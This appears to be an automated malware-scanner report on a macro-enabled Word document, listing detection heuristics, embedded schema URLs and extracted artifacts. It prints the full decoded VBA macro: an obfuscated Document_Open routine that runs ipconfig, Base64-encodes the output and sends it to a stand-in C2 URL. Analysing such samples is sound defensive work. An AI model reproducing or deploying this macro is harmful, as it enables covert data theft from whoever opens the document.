MALICIOUS
230
Risk Score
Heuristics 7
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Dim shell As Object -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Dim shell As Object -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3171 bytes |
SHA-256: 149b34b4f340bd9c5fbb3a7caf357f70f1c45d40557df661d8f4fbec67803254 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim shell As Object
Dim command As String
Dim output As String
Dim encodedOutput As String
Dim http As Object
Dim c2Server As String
' Initialize WScript.Shell object
Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
' Command to execute ipconfig
command = Chr(105) & Chr(112) & Chr(99) & Chr(111) & Chr(110) & Chr(102) & Chr(105) & Chr(103)
' Execute command and capture output
output = shell.Exec(command).StdOut.ReadAll
' Base64 encode the output
encodedOutput = EncodeBase64(output)
' C2 server URL
c2Server = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(99) & Chr(50) & Chr(63) & Chr(100) & Chr(97) & Chr(116) & Chr(97) & Chr(61)
' Initialize MSXML2.XMLHTTP object
Set http = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
' Send HTTP GET request with encoded data
http.Open Chr(71) & Chr(69) & Chr(84), c2Server & encodedOutput, False
http.Send
End Sub
Function EncodeBase64(ByVal strInput As String) As String
Dim xmlDoc As Object
Dim xmlNode As Object
Dim adoStream As Object
' Create XML document and node
Set xmlDoc = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(68) & Chr(79) & Chr(77) & Chr(68) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116))
Set xmlNode = xmlDoc.createElement(Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52))
' Create ADODB stream
Set adoStream = CreateObject(Chr(65) & Chr(68) & Chr(79) & Chr(68) & Chr(66) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109))
adoStream.Type = 1 ' adTypeBinary
' Write string to stream
adoStream.Open
adoStream.WriteText strInput
adoStream.Position = 0
adoStream.Type = 0 ' adTypeText
adoStream.Charset = Chr(85) & Chr(84) & Chr(70) & Chr(45) & Chr(56)
adoStream.Position = 3 ' Skip BOM
' Read binary data from stream
adoStream.Type = 1 ' adTypeBinary
xmlNode.DataType = Chr(98) & Chr(105) & Chr(110) & Chr(46) & Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52)
xmlNode.NodeTypedValue = adoStream.Read
' Get base64 encoded string
EncodeBase64 = xmlNode.Text
' Clean up
adoStream.Close
Set adoStream = Nothing
Set xmlNode = Nothing
Set xmlDoc = Nothing
End Function
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 12800 bytes |
SHA-256: 520327fa8f659d9b66e28ed08daff42c57204554a60c9f1799a893cb74b04e92 |
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